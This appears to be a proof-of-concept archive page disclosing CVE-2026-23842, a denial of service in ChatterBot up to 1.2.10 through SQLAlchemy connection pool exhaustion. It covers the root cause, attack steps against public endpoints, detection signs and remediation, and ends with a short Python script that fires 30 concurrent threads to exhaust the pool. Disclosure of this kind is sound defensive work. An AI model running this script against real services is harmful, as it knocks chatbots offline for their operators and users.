PoC Archive PoC Archive
High CVE-2026-23842 patched

ChatterBot Denial of Service via SQLAlchemy Connection Pool Exhaustion (CVE-2026-23842)

by Aditya Bhatt · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-23842
Category
misc
Affected product
ChatterBot (Python conversational AI library)
Affected versions
<= 1.2.10 (fixed in >= 1.2.11)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherAditya Bhatt
CVE / AdvisoryCVE-2026-23842
Categorymisc
SeverityHigh
CVSS Score7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
StatusPoC
Tagschatterbot, denial-of-service, sqlalchemy, connection-pool-exhaustion, python, cwe-400, resource-exhaustion
RelatedN/A

Affected Target

FieldValue
Software / SystemChatterBot (Python conversational AI library)
Versions Affected<= 1.2.10 (fixed in >= 1.2.11)
Language / PlatformPython (SQLAlchemy-backed storage adapter)
Authentication RequiredNo
Network Access RequiredYes (if ChatterBot is exposed via a public-facing API/service)

Summary

ChatterBot’s default SQLAlchemy storage adapter uses an unbounded/default QueuePool configuration with no concurrency throttling, request rate limiting, or explicit session lifecycle management. When many threads call get_response() concurrently, each checks out a database connection faster than connections are released back to the pool, quickly exhausting the pool’s capacity. Once exhausted, further calls block and eventually raise sqlalchemy.exc.TimeoutError, leaving the bot hung and the hosting service unresponsive until it is manually restarted. The included PoC simply spins up 30 threads that each call get_response() simultaneously against a fresh ChatterBot instance to trigger the exhaustion.


Vulnerability Details

Root Cause

ChatterBot relies on SQLAlchemy for storage but never bounds or throttles concurrent access to get_response(), and the default QueuePool size is small relative to what a public-facing chatbot endpoint can receive, so simultaneous requests exhaust the pool faster than connections are checked back in.

Attack Vector

  1. Identify a service that exposes ChatterBot’s get_response() to end users (e.g. a public chatbot API or web-integrated assistant).
  2. Send a burst of concurrent requests/messages (the PoC uses 30 threads) to the endpoint with no authentication required.
  3. Each request checks out a SQLAlchemy connection from the pool faster than it is released.
  4. The pool’s capacity is reached; subsequent requests block and time out.
  5. The application hangs or raises TimeoutError, requiring a manual restart to recover.

Impact

Unauthenticated, low-effort denial of service against any service built on ChatterBot <= 1.2.10 that is reachable over the network, resulting in persistent unavailability until manual intervention.


Environment / Lab Setup

Target:   ChatterBot <= 1.2.10 with default SQLAlchemy storage adapter
Attacker: Python 3.x with chatterbot installed; `threading` (stdlib) to fire concurrent get_response() calls

Proof of Concept

PoC Script

See CVE-2026-23842.py in this folder.

1
python3 CVE-2026-23842.py

Spawns 30 concurrent threads, each calling bot.get_response("hello") against a fresh ChatBot("dos-test") instance, exhausting the SQLAlchemy QueuePool and producing TimeoutErrors / application hangs consistent with the DoS condition.


Detection & Indicators of Compromise

sqlalchemy.exc.TimeoutError: QueuePool limit of size X overflow Y reached, connection timed out

Signs of compromise:

  • Repeated sqlalchemy.exc.TimeoutError entries in application logs correlated with a burst of near-simultaneous chatbot requests.
  • Chatbot-backed service becoming unresponsive or hanging, requiring a manual process restart to recover.
  • Spikes in concurrent connections to the ChatterBot service’s backing database shortly before the outage.

Remediation

ActionDetail
Primary fixUpgrade to ChatterBot >= 1.2.11
Interim mitigationAdd request rate limiting / concurrency caps in front of any public-facing ChatterBot endpoint and tune SQLAlchemy pool size/timeout with proper session lifecycle management

References


Notes

Mirrored from https://github.com/AdityaBhatt3010/CVE-2026-23842-Denial-of-Service-via-Database-Connection-Pool-Exhaustion-version-1.2.10 on 2026-07-05.

CVE-2026-23842.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from chatterbot import ChatBot
import threading

bot = ChatBot("dos-test")

def attack():
    bot.get_response("hello")

threads = []

for _ in range(30):
    t = threading.Thread(target=attack)
    t.start()
    threads.append(t)

for t in threads:
    t.join()